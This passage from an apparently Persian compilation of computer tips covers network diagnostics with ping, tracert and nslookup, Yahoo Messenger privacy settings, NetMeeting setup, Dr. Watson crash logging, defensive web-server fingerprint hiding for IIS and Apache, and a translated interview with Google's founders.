اين جور مواقع،فهرستي از سرويس دهنده هاي DNS عمومي را در حافظه دارم.) اگر به اين شيوه بتوانم به اينترنت راه پيدا كنم اما امكان مرور وب يا بازيابي email فراهم نباشد،مشكلي در DNS خواهد بود يا سرويس دهنده DNS غيرفعال است كه با استفاده از برنامه nslookup آن را بررسي مي كنم و يا در كامپيوتر سرويس گيرنده،نشاني اشتباهي پيكر بندي شده است كه با كاربرد ipconfig آن را پيدا مي نمايم. حصارهاي امنيتي (Firewalls )را به گونه اي مي توان پيكر بندي نمود كه مانع ورود ICMP شود،به همين خاطر ناتواني در پينگ كردن يك وسيله راه دور الزاما” به معناي مشكل ارتباطي نمي باشد. اكثر مسيرياب هاي خانگي يا تجاري كوچك به گونه اي پيكر بندي خواهند شد كه به درخواست هاي پينگ دريافتي از طريق اينترنتي پاسخ ندهند،اما پينگ هاي محلي را همچنان بايد پاسخ گفت.

رديابي مسير
پينگ هاي ارسالي به يك ميزبان اينترنتي ،بيشر از پينگ هاي محلي طول مي كشد زيرا ممكن است ميان سيستم هاي مبدا و هدف،چند مسير ياب موجود باشد. با استفاده از يك برنامه خدماتي ويندوز موسوم به tracert (traceroute براي كاربران لينوكس ) مي توان تعداد اين قبيل ”توقفگاه ها” (hops ) و نشاني هاي مسيرياب هاي واسط را تعيين كرد. پس از تايپ tracert نشاني IP هدف (يا نام DNS ) را اضافه كنيد. بسته هاي ارتباطي براي رسيدن به نشاني IP مورد نظر (195.92.195.222 )،نخست از طريق يك مسيرياب محلي به نشاني 192.168.0.222 ارسال مي شوند و بعد،قبل از رسيدن به مقصد نهايي،چند نقطه ي ديگر را پشت سر مي گذارند. در مورد عيب يابي محلي،معمولا” فقط به اولين ”توقفگاه ” توجه مي كنيد،هر چند در صورت بروز مشكلات اجرايي و ديگر اطلاعات راه گشاه خواهد بود.

تبديل نام ها
بالاخره ممكن است با استفاده از يك نرم افزار خدماتي موسوم به nslookup ، به بررسي طرف DNS شبكه خود واتصال آن به اينترنت بپردازيد. همان طور كه قبلا” گفته شد اين كار در هنگامي ضرورت مي يابد كه پس از پينگ كردن يك آدرس در اينترنت،نتوانسته باشيد به يك URL برويد يا نام هاي DNS را ping كنيد. با اين حال nslookup كه يك نرم افزار خدماتي خط فرمان است،امكان تبديل نام هاي DNS به نشاني IP و بالعكس را مستقيما” فراهم مي كند. در خود نرم افزار nslookup ،چندين گزينه ي ديگر هم وجود دارد و براي ديدن تمامي گزينه هاي اختياري كافي است پس از تايپ nslookup ،علامت ”؟” را درج كنيد. اما ساده ترين راه براي استفاده از اين نرم افزار ، تايپ nslookup و سپس تايپ نام DNS يا نشاني IP مورد نظر است. بعد از اين كار،با استفاده از تنظيمات پيش فرض سرويس دهنده DNS در سيستم ميزبان،عمليات جستجو (lookup ) انجام خواهد شد. اگر نام يا نشاني درج شده را درست فرض كنيم،اختلال در تبديل،نشان دهنده مشكلي در همان قسمت خاص است كه معمولا” يك ورودي ناصحيح سرويس دهنده DNS مي باشد. در هنگام تفسير نتايج حاصل از nslookup و ديگر ابزار معرفي شده در اين مقاله بايد احتياط كرد،اما ابزار فوق هيچ ضرر و زيان جدي به شما وارد نمي كند،پس ارزش يكبار آزمايش را دارند.

[007]

بسياری از افراد مرتب در حال تغيير دادن ID خود در Yahoo هستند و دليل عمده آن هم مزاحمتهايی است که توسط کاربرهای موجود در فهرست دوستان Yahoo Messenger قرار دارند و به مرور به فهرستی طويل تبديل شده ايجاد ميشود. تغيير ID به منزله تغيير آدرس پست الکترونيکی شما نيز ميباشد و با تغيير ID دو مشکل برای دوستان خود ايجاد ميکنيد! يکی اينکه ممکن است دوستان شما در جريان تغيير آدرس پست الکترونيکی شما قرار نگيرند که مشکلات خاص خود را ايجاد ميکند و مشکل بعدی که به نظر من بيشتر آزار دهنده است و خود من هم بعضاً دچارش ميشوم طولانی شدن فهرست دوستان در Yahoo Messenger به دليل وجود چندين ID برای يک نفر است! دوستانی دارم که از سه ID مختلف استفاده ميکنند که با اين کار هم خودشان را اذيت ميکنند و هم ما را. خودشان را اذيت ميکنند چرا که بايد تا مدتها هر وقت وارد اينترنت ميشوند در سه ID مختلف Login کنند تا خيالشان راحت شود که کسی از دوستانشان را از دست نداده اند و اکثر اين افراد هم هيج وقت دلشان رضايت نميدهد ديگر وقت خود را صرف اين ID های قديمی نکنند.
يک راه جلوگيری مسلماً پيشگيری قبل از درمان است بدين معنی که سعی کنيد از اضافه کردن اسم افرادی که آشنايی زيادی نداريد خودداری کنيد. ولی اين پيشنهاد با طبع بسياری از علاقه مندان به ايجاد ارتباط با همنوعان خود در اقصی نقاط دنيا سازگاری ندارد لذا ميتوانيد از روش زير استفاده کنيد تا هر وقت تمايل نداشتيد شخص خاصی بتواند به شما پيغام بدهد و حتی شما را Online ببيند از آن استفاده کنيد.

با دنبال کردن روش زير ID مورد نظر هيج گاه قادر نخواهد بود وضعيت شما را در صورت Online بودن ببيند و همچنين نميتواند برای شما پيغام ارسال کند:

1- در پنجره Yahoo Messenger ابتدا ID مورد نظر را Delete کنيد
2- با رفتن به منوی Login، گزينه Privacy Settings را انتخاب کنيد
3- در پنجره جديد Ignore only the people below را انتخاب کنيد و دکمه Add را بزنيد
4- در اين پنجره ID کاربر مورد نظر را وارد کنيد و Ignore را بزنيد

با اتمام اين کار ديگر ID مورد نظر نه ميتواند شما را ببيند و نه برايتان پيغام ارسال کند

[007]

برنامه NetMeeting مي تواند از طريق اينترنت ارتباط بين افراد را انتخاب كند با داشتن تجهيزات كافي شما مي توانيد از اينتر نت به عنوان يك خط تلفن يك ابزار كنفرانس ويدئويي يك تابلوي اعلانات الكترونيكي يا حتي ابزاري براي استفاده مشترك از كليپ بوردها استفاده كنيد به همين دلايل است كه نام اين برنامه ملاقات در شبكه يا همان NetMeeting است براي استفاده كامل از امكانات اين برنامه شما به يك مودم بسيار سريع يك دوربين ويدئويي وصل شده به كامپيوتر و تعدادي دستگاه ديگر نياز دارد با اين وجود در اين تمرين شما از همان تجهيزاتي كه قبلآ داشته ايد استفاده خواهيد كرد.

براي كار در برنامه NetMeeting از مراحل زير پيروي كنيد:
گزينه Programs / Internet EXplorer / Microsoft NetMeeting را انتخاب كنيد هنگامي كه براي اواين مرتبه وارد برنامه Microsoft NetMeetingمي شويد مجموعهاي از صفحه تصوير ها را مشاهده مي كنيد كه شما را قادر مي سازند محيط كاري اين برنامه را تعريف و آماده كنيد براي ادامه كار روي دكمه Next كليك كنيد اگر مي خواهيد در هنگامي كه مردم با شما تماس مي گيرند بتوانند نام و آدرس شما را مشاهده كنند بايد از يك سرور دايركتوري استفاده كنيد شما بايد همان سرور دايركتوري را انتخاب كنيد كه افراد ديگري كه معمولآ با شما تماس مي گيرند از آن استفاده مي كنند روي دكمه NEXT كليك كنيد تا كار ادامه يابد اكنون شما بايد نام و نام خانوادگي و آدرس پست الكتروني خود را وارد كنيد مابقي اطلاعات خواسته شده اختياري هستند براي ادامه كار روي دكمه Next كليك كنيد اكنون بايد براي اطلاعات خود يك گروه تعيين كنيد روي دكمه Next كليك كنيد پنجره Audio Tunning Wizard باز مي شود براي انتخاب نوع ارتباطي كه مي خواهيد از آن استفاده كنيد روي دكمه Next اين پنجره كليك كنيد شما صوت و تصوير ارتباطي كه برنامه NetMeeting بايد در اين هنگام نوع صحيح ارتباط خود را تعيين كنيد زيرا اين تعيين مستقيمآ بر روي كيفيت مي تواند برقرار كند تاثير مي گذارد براي ادامه كار روي دكمه Next كليك كنيد براي آنكه پارامتر هايي كه تعيين كرده ايد آزمايش شوند بايد روي دكمه Start Recording كليك كنيد با اين كار بايد آنقدر در ميكروفون خود صحبت كنيد تا زمان سنج نشان دهد كه آزمايش تمام شده است براي ادامه كار روي دكمه Next كليك كنيد اكنون شما آماده كار در NetMeeting هستيد براي آنكه پنجره برنامه NetMeeting نشان داده شود روي دكمه Finish كليك كنيد بسته به نوع ارتباطي كه شما انتخاب كرده ايد برنامه Connection Wizardبا اينترنت ارتباط برقرار مي كند براي آنكه پنجره New Call *ظاهر شود روي دكمه Call كليك كنيد اطلاعات لازم براي دسترسي به شركت خود را در مستطيل Address وارد كنيد شما مي توانيد در اين مستطيل ادرس پست الكترونيكي نام كامپيوتر ادرس شبكه كامپيوتري و يا شماره تلفن متصل به مودم خود را وارد كنيد پس از آنكه تماس شما برقرار شد روي دكمه Hang Up كليك كنيد تا ارتباط قطع شود براي بستن برنامه NetMeeting روي دكمهClose كليك كنيد اگر از برنامه NetMeeting براي ارتباط تلفني يا تصويري با ديگران در اينترنت استفاده مي كنيد شما مي توانيد قبل از برقراري تماس ابتدا يك يادداشت را از طريق پست الكترونيكي براي شخص مورد نظر خود بفرستيد تا او بداند كه چه موقع با وي تماس خواهيد گرفت اگر از طريق ينترنت وصل شده ايد اين پيش بيني بسيار مهم است زيرا براي آنكه برنامه NetMeeting مودم به ارتباط مورد نظر را برقرار كند هر دو طرف مكالمه بايد به اينترنت وصل شده باشند اگر به يك LAN متصل هسنيد شما احتمالآ در خواهيد يافت كه اين روش از روش مودم بسيار بهتر است زيرا شبكه هاي محلي عمومآ داراي سرعت انتقال داده بيشتري نسبت به مودمها هستند بنابراين شما مي داده هاي بيشتر و با كيفيت بالاتري را در زمان كوتاهتر نسبت به مودم از طريق يك LAN ارسال كنيد.

[007]

برنامه Dr.Watson تمامي اطلاعات وابسته به سيستم را درست قبل از اينكه خطا و مشكل اتفاق بيفتد ضبط ميكند. به عبارت ديگر اگر سيستمتان از حركت ايستاد و يا يك خطاي سيستمي جدي را به شما نشان داد ميتوانيد كامپيوتر خود را Restart كرده و بعد به سراغ فايل Log اي كه برنامه Dr.Watson درست قبل از وقوع مشكل ميسازد برويد. اين فايل شامل جزئيات كامل مشكل ميباشد. در اينجا اگر كمي اطلاعات حرفه اي راجع به سيستم و كدهاي سيستمي داشته باشيد ميتوانيد به راحتي مشكل را ريشه يابي و حل كنيد. در غير اين صورت اگر مشكل خيلي جدي باشد شما حتما نياز به يك متخصص خواهيد داشت كه با نشان دادن فايل Log به آن متخصص ، او به راحتي ( در اكثر مواقع ! ) مشكل را براي شما حل ميكند. اما همواره يادتان باشد كه هيچ برنامه اي نميتواند بهترين باشد. برنامه Dr.Watson اگر چه در بسياري از موارد به خوبي از عهده وظيفه خودش بر مي آيد اما گاها نيز ممكن است اگر مشكل سيستم شما خيلي جدي باشد و باعث قفل شدن كل سيستم شما گردد ، نتواند ريشه مشكل را ثبت كند و در گزارشش قيد كند. اما نگران نباشيد چون اين اتفاق ممكن است يك در هزار رخ دهد و اصلا جاي نگراني نيست.
نكته جالب توجه ديگر اين برنامه اين است كه شما با ارسال فايل Log آن براي شركت Microsoft ميتوانيد از راهنماييهاي متخصصان اين شركت نيز براي رفع مشكل خودتان استفاده كنيد. فايل Log برنامه Dr.Watson اغلب خطاها را تشريح كرده و روش درست و منطقي را براي اصلاح و تعمير آن به شما پيشنهاد ميكند اما همواره بهتر است كه از يك فرد متخصص نيز در اين زمينه كمك بخواهيد كه به نظر من متخصصان خود شركت Microsoft ميتوانند بهترين انتخاب شما باشند جون كاملا رايگان اند !
براي ارتباط با اين متخصصين فقط كافي است كه به قسمت پشتيباني تكنيكي سايت Microsoft مراجعه كنيد و بعد فايل Log را براي آنها ارسال كنيد و منتظر راهنمايي هاي آنها بمانيد. مطمئن باشيد شما را بدون جواب نخواهند گذاشت.
و اما نحوه كار با اين برنامه مفيد :
اين برنامه به صورت پيش فرض از ديد كاربران پنهام است و شما نميتوانيد آن را در پوشه Tools بيابيد. براي اجراي آن ابتدا از طريق منوي Start وارد برنامه Run شده و عبارت DrWtsn32 را تايپ كرده و سپس Enter را بزنيد تا برنامه اجرا شود.
پس از شروع برنامه شما ميتوانيد تنظيمات مورد نياز را انجام داده و بعد به ساير كارهاي خود بپردازيد.
اما توضيح تنظيمات برنامه :
در قسمت Log File Path شما ميتوانيد مسير ذخيره فايل Log برنامه را تعيين كنيد.
در قسمت Crash Dump شما ميتوانيد مسير فايل ذخيره موقت ( تصوير لحظه اي ) برنامه را تعيين كنيد ( بهتر است اين قسمت را تغيير ندهيد ).
در قسمت Wave File شما ميتوانيد يك فايل صدا را تعيين كنيد كه برنامه هر وقت مشكلي را ثبت كرد به شما با آن صدا هشدار دهد.
در قسمت Number Of Instructions شما ميتوانيد تعداد راهنماييهايي را كه برنامه در فايل Log به شما آموزش ميدهد را تعيين كنيد.
در قسمت Number Of Errors To Save شما ميتوانيد تعداد ثبت خطاها را در هر فايل Log مشخص كنيد.
در قسمت Crash Dump Type شما ميتوانيد نوع ذخيره فايل Dump ( يا تصوير لحظه اي ) را در هنگام Crash سيستم تعيين كنيد. Full يعني ذخيره به صورت كامل با تمام جزئيات ، Mini يعني تا حد امكان خلاصه و مختصر ، NT4 Compatible Full يعني فايلي كامل سازگار با سيستمهاي NT4 .
در قسمت Options ميتوانيد جزئيات تكنيكي فايل Log خود را افزايش يا كاهش دهيد. به ترتيب زير :
Dump Symbol Table : نمايش و ذخيره فايل Dump با تمام كاراكترهاي حرفي و شكلي.
Dump All Thread Contexts : نمايش و ذخيره فايل Dump با تمام متون و داده هاي رشته اي.
Appened To Existing Log File : اضافه كردن تمام موارد فايل Dump به فايل Log موجود.
Visual Notification : ضبط و ثبت اخطارهاي ديداري.
Sound Notification : ضبط و ثبت اخطارهاي صوتي.
Create Crash Dump File : ساخت يك فايل Dump در مواقع Crash براي بازبيني هاي بعدي.
در قسمت Application Errors خطاهايي كه به تازگي در كار با سيستم براي كاربر اتفاق افتاده نمايش داده ميشوند. با Highlight كردن هر كدام از آنها و فشردن دكمه View ميتوانيد فايل Dump يا همان حالت موقتي را كه در بالا بحث كردم را مشاهده كنيد. يادتان باشد متون نوشته شده در فايل موقت كه شما مشاهده ميكنيد هر بار با Restart شدن سيستم به صورت اتوماتيك در فايل Log ذخيره ميشوند. با فشردن دكمه Clear آن اخطار از ليست Application Errors حذف ميشود.
براي مشاهده فايل Log برنامه Dr.Watson شما ميتوانيد از ويرايشگر WordPad استفاده كنيد. اين فايل را بايد در همان مسيري كه مشخص كرديد بيابيد ( با نام DrWtsn32.log ). البته مسير پيش فرض خود برنامه به صورت زير است :
Document and setting\All users\Application Data\Microsoft\Dr Watson
اگر نرم افزار خاصي را نصب كرده ايد كه به نظر شما مسبب از كار افتادن سيستمتان است ، قبل از نصب برنامه يك تصوير لحظه اي از سيستم بگيريد و سپس به برنامه Dr.Watson اجازه دهيد كه يك تصوير لحظه اي ديگر را پس از انجام عمل نصب برنامه بگيرد. با اين كار شما ميتوانيد به بخش پشتيباني Microsoft كمك كنيد كه با مقايسه اين تصاوير شما را در حل هر چه سريعتر مشكلتان ياري كنند.
در صورتي كه از سيستمي با سرعت بالا استفاده ميكنيد توصيه ميكنم تمام موارد Options را انتخاب كنيد و Crash Dump Type را نيز در حالت Full قرار دهيد تا فايل Log شما با جزئيات كامل ساخته شود.
بعد از تنظيم كردن برنامه كافيه كه شما روي دكمه OK كليك كنيد تا برنامه در پشت پرده به كار خودش ادامه دهد. معمولا بعد از فشردن دكمه OK برنامه از ديد شما پنهان ميشود اما در بسياري از مواقع به صورت يك آيكن در نوار وظيفه نمايش داده ميشود كه شما ميتوانيد با دوبار كليك روي آن تنظيمات را تغيير دهيد يا فايلهاي موقت موجود را بازبيني كنيد.
بعد از اجراي برنامه ميتوانيد با خيالي آسوده به ساير كارهاي خود مشغول شويد و از اينكه يك نفر همواره مراقب و محافظ سيستم شماست لذت ببريد.

[007]

پوشش دادن يا پنهان كردن يك وب سرور شامل از بين بردن جزئيات هويتي اي است كه هكرها مي توانند براي كشف سيستم عامل و وب سرور نصب شده روي آن مورد استفاده قرار دهند. اين اطلاعات در حالي كه هيچ استفاده اي براي بهره برداران مشروع ندارد ، اغلب نقطه شروعي براي هكرها مي باشد.
دراين مقاله به بررسي برخي راهكارهايي كه مي توانيم با بكارگيري آنها خطر شناسايي را به حداقل برسانيم ، مي پردازد. بيشتر مثالها مربوط به IIS ميكروسافت مي باشد . زيرا بخاطر آسيب پذيري زيادش به طور وسيعي مورد توجه نفوذگران قرار گرفته است. همچنين يك سري از اقدامات پيشگيرانه شناسايي براي آپاچي سرور نيز ذكر خواهد شد. غير قابل شناسايي كردن سرور وظيفه همه كساني است كه مسئوليت اجرايي وب سرور را بر عهده دارند.

نفوذگران از اينجا شروع مي كنند ، چرا شما از اين نقطه شروع نمي كنيد ؟
بگذاريد از نقطه نظر مهاجمين نگاه كنيم. آسيب پذيريهاي امنيتي اتكا بر ورژن و نوع نرم افزار دارند.
يك نفوذ گر براي نفوذ به يك وب سرور بايد بداند وب سرور از چه نوعي و داراي چه ورژني مي باشد. دانستن جزئيات يك وب سرور كارآمدي هرگونه تهاجمي را به مقدار زياد افزايش مي دهد.

Server Header ها همه چيز را مي گويند:
بسياري از وب سرورها خودشان و سيستم عاملي را كه بر روي آن نصب هستند به هر كسي كه بخواهد معرفي مي نمايند. با استفاده از ابزارهای بررسي شبکه مانندSam Spade يا Header Check مي توانيد http هدرهاي سرور را تشخيص دهيد. تنها كافيست Home Page وب سايت را درخواست نموده وhttp هدرهاي حاصله يا بنرهايي كه توسط سرور ارسال گرديده را مورد بررسي قرار دهيد. در ميان آنها احتمالا چيزي شبيه به Server : Microsoft – IIS/5.0 پيدا خواهيد كرد.
آپاچي سرور نيز به صورت پيش فرض همه مشخصات را اعلام می کند.
Server : Apache/2.0.41-dev(unix)
كاربران آپاچي سرور 2.x داراي مدول Mod Header هستند . این کاربران مي توانند به سادگي فايل httpd.conf را به صورت زير اديت نمایند :
Header Set Server "New Server Name"
متاسفانه در نسخه هاي پيشين آپاچي سرور نمي توان سرور هدرها را تغيير داد.
كاربران IISنیز مي توانند Lock Down را نصب نموده و براي برداشتن وجايگزين كردن هدرها از فايل پيكره بنديURLScans استفاده نمايند. در صورتي كه از سرور Cold Fusion استفاده مي نماييد و مي خواهيد URLScans را به كار بريد بسيار محتاط باشيد. زيرا روشي كه در حال حاضر هدرها را جايگزين
مي نمايد باعث خسارات سنگيني به صفحات CFM مي گردد. در اين حالت تنها راه ممكن برداشتن هدرهاست.

پسوند فايلها :
نمايش پسوند فايلها مانند .ASP يا .ASPX به طور مشخص نشان دهنده آن است كه شما از يك سرور
ميكرو سافت استفاده مي كنيد. به طور كلي پنهان كردن پسوند فايلها كار مفيدي است. در طراحي سايتها سعي كنيد ازHTML و Java استفاده كنيد. پسوند فايلهاي طراحي شده توسط اين زبانها نشان دهنده نوع وب سرور نمي باشد.
در مورد آپاچي سرور به مدول mod negotiation توجه خاصي داشته باشيد. بوسيله اين مدول مي توانيد پسوند فايلها را مخفي كنيد. همچنين توسط mod header مي توان پسوند فايلها را تعويض نمود.
كاربران IIS نيز مي توانند از برنامه PageXChanger براي پنهان ساختن پسوند فايلها استفاده نمايند.

ASP Session ID Cookie:
اين كوكي ها وظيفه حفظ وضعيت سرويس گيرنده را بر عهده دارند و به سادگي سيستم عامل و وب سرور نصب شده بر روي آن را مشخص مي كنند.
Set –Cookie:ASPESSIONIDQGQGGWFC=MGMLNKMDENPEOPIJHPOPEPPB;
شما مي توانيد ASP Session State را از كار بيندازيد. همچنين مي توانيد براي تغيير اسامي كوكي ها از يك فيلتر ISAPI استفاده نماييد. از طرفي ASP Session ها باعث محدود شدن منابع سيستم مي گردند. از كار انداختن آن به بهبود اجرايي ASP كمك مي كند و باعث گمنام ماندن سرور شما نيز مي گردد.

WebDAV:
راه ديگر شناسايي سرورهاي ويندوزي WebDAV مي باشد. WebDAV منحصر به ميكروسافت يا IIS نمي باشد ، بلكه يك استاندارد پيشنهادي (RFC 2518) با گروه كاري IETF است. سرور ويندوزي در حالت پشتيباني WebDAV اطلاعات زيادي را به هدر مي افزايد كه مي تواند مورد استفاده هكرها قرارگيرد. در صورتيكه از WebDAV براي پشتيباني Web Folders , Outlook Web Access يا ... استفاده
نمي نماييد، مي توانيد با استفاده ازIISLockDown يا تغيير در رجيستري آن را از كار بيندازيد.

هدرهاي ديگر:
برخي از سرورهاي وب به وسيله نمايش هدرهاي خاص در پاسخهاي HTTP هويت خود را فاش
مي سازند. هدرهاي X-Powered-By و X-ASPNET-Version علائم بارزي هستند كه نشان دهنده استفاده از ASP.NET و بنابراين ميزباني IIS مي باشند. همچنين به ياد داشته هدرهاي
Microsoft Office Web Server را بايد مخفي كنيد.

Windows Authentication:
كاربران IIS نبايد Windows Authentication را به عنوان راهي براي پنهان نمودن اطلاعات بر روي سرور مورد استفاده قرار دهند. زيرا اين شيوه اطلاعات زيادي را در مورد سرور بر ملا مي سازد. يك هكر
مي تواند با توجه به هدرهاي Authentication WW- نوع وب سرور را مشخص نمايد. زماني كه يك فايل يا فلدر توسط پروسه Authentication ويندوز محافظت مي شود، درهدرهاي فرستاده شده از طرف سرور String NTLM وجود دارد كه مي تواند مورد بهره برداري هكر قرار گيرد.

پيام هاي پيش فرض:
پيامها ، صفحات و اسكريپتهاي پيش فرض نيز باعث شناسايي وب سرور مي گردد. اغلب نرم افزارهاي پشتيباني كننده وب سرور داراي پيغامهاي پيش فرض هستند كه بايد به گونه اي مناسب تغيير پيدا كند. همچنين تمام Administration Pages ، اسكريپتها وDocument هايي كه همراه با وب سرور نصب مي شوند بايد مخفي يا پاك شوند.

ديگر سرويسها:
بسياري از کامپیوترهایی كه با عنوان وب سرور استفاده مي شوند ، جدا از خدمات HTTP خدمات ديگري مانند SMTP و FTP را ارائه مي دهند. به عنوان يك قانون امنيتي سعي كنيد چنين سرويسهايي را در وب سرور خود راه اندازي نكنيد. به ويژه از سرويسهاي پيش فرض FTP و SMTP در ميكرو سافت IIS اجتناب كنيد. زماني كه يك ارتباط با سرويس SMTP برقرار مي گردد. يك پيغام خوشامد گويي براي Client فرستاده مي شود. اين پيغام هيچ تاثيري در سرويس ايميل ندارد. اما مشابه هدرهاي HTTP اطلاعاتي را در مورد وب سرور بر ملا مي سازند. سرويس پيش فرض SMTP ويندوز چنين اطلاعاتي را نمايان مي سازد . همچنين سرور پيش فرض IIS FTP يك بنر شناخته شده را ارائه مي دهد . از آنجايي كه اصلاح اين بنر از اصلاح بنر SMTP پروسه پيچيده تري است بهترين راه جايگزيني آن با يك FTP سرور ديگر مانند RhinoSoft's Serv-U FTP Serverاست . كه بتوان هرگونه پيغامي را در بنر FTP نمايش داد. همچنين اين FTP سرور داراي امتيازات ديگري نيز از نظر ايمني مي باشد.
ورودهاي غير مجاز :
بسياري از Exploits ها از يك URL پيچيده براي گرفتن شل (Shell ) يا كنترل يك CGI Program استفاده ميكنند كه هكر بوسيله آنها مي تواند ليستي از فايلها سيستم عامل را بدست آورد. بهترين روش براي مقابله با اينگونه حملات استفاده از يك فيلتر داده مي باشد كه كاراكترهاي غير قابل قبول مثل متا كاراكترها را از اطلاعاتی که توسط كاربر وارد می شود حذف نمايد. براي IIS استاندارد جاري IISLockDown/URL Scan است. نسل جديدي از Firewall ها نيز قابليت پشتيباني از لايه هاي كاربردي Web Server را دارا هستند.

پشته ها:
حتي زمانيكه علائم افشاگرانه از روي لايه كاربردي وب سرور حذف شد ، بر روي لايه هاي پايين تر شبكه نقاط ضعف آشكارسازي باقي مي ماند. هر سروري با يك اتصال شبكه داراي يك Network Protocol است كه قابل اسكن و شناسايي مي باشد ، بهترين اسكنرهاي پشته مانند NMAP مي تواند با استفاده از تكنيكهاي مختلف سيستم عامل را شناسايي كند. همچنين پشته IP مربوط به هر سيستم عامل نيز در مقابل شناسايي از طريق پروتوكل ICMP آسيپ پذير است. اولين راه مقابله با اين نوع آسيب پذيري ها استفاده از يك فايروال مي باشد. به اين نكته توجه داشته باشيد كه با وجود فايروال ، يك تحليل شبكه اي دقيق هنوز هم مي تواند نوع وب سرور را مشخص سازد.

Netcraft:
در سايت Netcraft با وارد نمودن URL هر وب سايت مي توان به اطلاعاتي در مورد سيستم عامل و وب سرور آن سايت بدست آورد. با تغيير دادن HTTP هدرها مي توان كاري كرد كه گزارش Netcraft اشتباه شود. همچنين با حذف HTTP هدرها ، Netcraftگزارش ناشناس بودن وب سرور را ارائه خواهد كرد.

پیش فرضهای :TCP/IP
احتمالاً هنوز سيستم عامل شما حتي از پشت يك ديوار آهنين نيز مورد شناسائي قرار خواهد گرفت. براي آنكه بتوان يك سيستم عامل را به طور كامل ناشناس كرد بايد برخي از پيش فرض هاي محيط IP/TCP مانند (Receive Window size) RWIN ، (Maximum Transmission Units) MTU ، MSS (Maximums Segment Size) ، (Time-to-Live) TTL دستكاري شود . در زمان تغيير دادن اين پيش فرض ها بسيار محتاط باشيد زيرا مي تواند تاثير معكوس بر روي وب سرور داشته و يا سيستم عامل را به طور كامل فلج سازد.
به خاطر داشته باشيد :
براي آنكه وب سرور شما كاملاً ناشناخته بماند بايد تمام مواردي كه در بالا ذكر شده است را بصورت تركيبي به كار بريد. هميشه به ياد داشته باشيد اين اقدامات پيشگيرانه تنها مي تواند باعث شكست اكثر نفوذ گران گردد نه همه آنها. يك نفوذگر ماهر و مصمم مي تواند از تمامي اين سدها عبور كند... هرگونه سوال و پیشنهادی داشتید با من تماس بگیرید.

موفق باشید

[007]

تايم : شما در حال ساخت چه چيزي هستيد ؟
برين : من در شروع اميدوار بودم بتوانم با اين لگو ها يك رآكتور هسته اي ردست كنم، اما گمان مي كنم، بيشتر شبيه به يك ربات حامل اسلح بازوكا شده باشد.
پيج : من ترجيح مي دهم با اين لگو ها اشميت را درست كنيم.

تايم : گوگل مسير بسيار طولاني را طي كرده است. نظر شما درباره ميزباني و مديريت هزاران كارمند چيست ؟
برين : من اعتراف مي كنم كه هرگز نگراني درباره اين موضوع نداشته ام. مخصوصا در محل بزرگي مثل مركز ماسكون. به نظرم همه مسئوليت ها بخوبي توزيع شده است.

تايم : شما درباره لزوم وجود شفافيت در تجارت كاري خود حرف مي زنيد. شما دقيقا به چه مشكلي اشاره داريد ؟
اشميت : با وجود تمامي خبرسازي هايي كه داريم، اصلا دوست نداريم كه موضع گيري هاي ما براي كسي مبهم باشد و يا او را غافلگير سازد. ما دوست نداريم تا همكارانمان در ساير شركت ها فكر كنند ما بر عليه آنها و براي شكست دادن شان فعاليت مي كنيم.
برين : { لگويي را بالا مي گيرد و مي گويد }نگاه كنيد، من تنها از لگو هاي شفاف استفاده مي كنم.

تايم : گوگل در سال گذشته تعداد كارمندان خود را دو برابر كرده است. آيا در سال جاري نيز قصد داريد چنين افزايشي در تعداد پرسنل خود داشته باشيد ؟

پيج : قطعا. ما بدنبال انجام كار هاي فراواني هستيم و به همكاران زيادي نيازمنديم.
تايم : زياد ؟ من فكر مي كردم شما براي هر چيزي يك مقياس دقيق داريد.
پيج : بله همين طور است. ولي بعضي وقت ها استفاده از يك معيار دقيق كمي مشكل است.

تايم : آيا كارتان براي شما هنوز جنبه سرگرمي هم دارد ؟
برين : ما در طول هاي سال هاي اخير، يقينا بسياري از صميمت هاي پيشين را از دست داده ايم. وقتي تعداد پرسنل شما از 10 نفر به 100 نفر مي رسد، ديگر امكان ندارد همه آنها را خيلي خوب بشناسيد. بنابراين در اين سطح، بيشتر رسيدن به پيشرفت مورد نظر قرار مي گيرد و صميمت ها كمرنگ تر مي شود.

تايم : آيا استراتژي بزرگي براي گوگل تبيين شده است ؟ به نطر مي رسد شما قصد داريد به هر جايي كه مي توايند وارد شود و محدوديتي نداريد ؟
اشميت : ما بسيار تلاش مي كنيم تا همگان فكر كنند كه اوضاع از دستمان خارج شده است و خودمان هم نمي دانيم دقيقا د حال چه كاري هستيم. اما واقعيت اين است كه در شركت ما همه چيز مشخص و تعريف شده است. پيشروي هاي ما هم بر اساس آن صورت مي گيرد. البته جزئيات اين استراتژي قابل ذكر نيست، چون جزو اسرار كار ماست.
پيج : ما عموما درباره استراتژي مان صحبت نمي كنيم. .. زيرا اين مسئله واقعا استراتژيك است. ما واقعا ترجيح مي دهم كه رقبا فكر كنند، ما دچار سردرگمي در كارهايمان شده ايم، تا اينكه فكر كنند همه چيز مرتب و برنامه ريزي شده جلو مي رود. اين يك تكنيك تجاري اصولي است.

تايم : افراد چقدر از گوگل براي دسترسي به مطالب و تصاوير هرزه نگاري استفاده مي كنند ؟
برين : بسيار كم. در مقايسه با كل استفاده كاربران، درصد بسيار ناچيزي است. ما كلا فكر مي كنيم، براي هر فرد بالغي بهتر است كه بيشترين امكان دسترسي به چنين محتوايي وجود داشته باشد. اين تصميم با خود افراد است كه سراغ چنين چيز هايي بروند يا خير. اما ما مي توانيم به افراد كمك كنيم تا درصورت تمايل چنين مطالبي برايشان فيلتر شود. البته هيچ تكنولوزي از جمله جستجوي safe search ما نمي توانيد تضمين كند يك تصوير يا وب سايت صد در صد جزو دسته پرنوگرافيك قرار مي گيرد يا نه.

تايم : از اينكه توانسته ايد در عرض چند سال تبديل به ميلياردر شويد چه احساسي داريد ؟
برين : ثروتمند شدن موجب ي شود تا باي شما سرگرمي هاي فراواني بوجود بيايد. شما هميشه اين مثل را شنيده ايد كه با پول نمي شود خوشبختي را خريد. اما من هميشه در پس ذهنم فكر مي كنم كه پول مي تواند لااقل كمي در آمدن خوشبختي موثر باشد. با اين وجود اين همه حقيقت نيست. من اتوموبيل جديد خريدم، چون اتوموبيل قديمي ام از مد افتاده بود. هيچ چيز بدتر از رانندگي با اتوموبيل قديمي نيست.
پيج : اگر ما واقعا تحت تاثير پول فراوانمان قرار گرفته بوديم، مدت ها پيش شركت را مي فروختيم و با پول آن تا آخر عمر به عيش و خوشي مي پرداختيم.

تايم : آيا شما فكر مي كنيد كه از زمان زاه اندازي گوگل، شخصيت تان تغييرات زيادي كرده است ؟
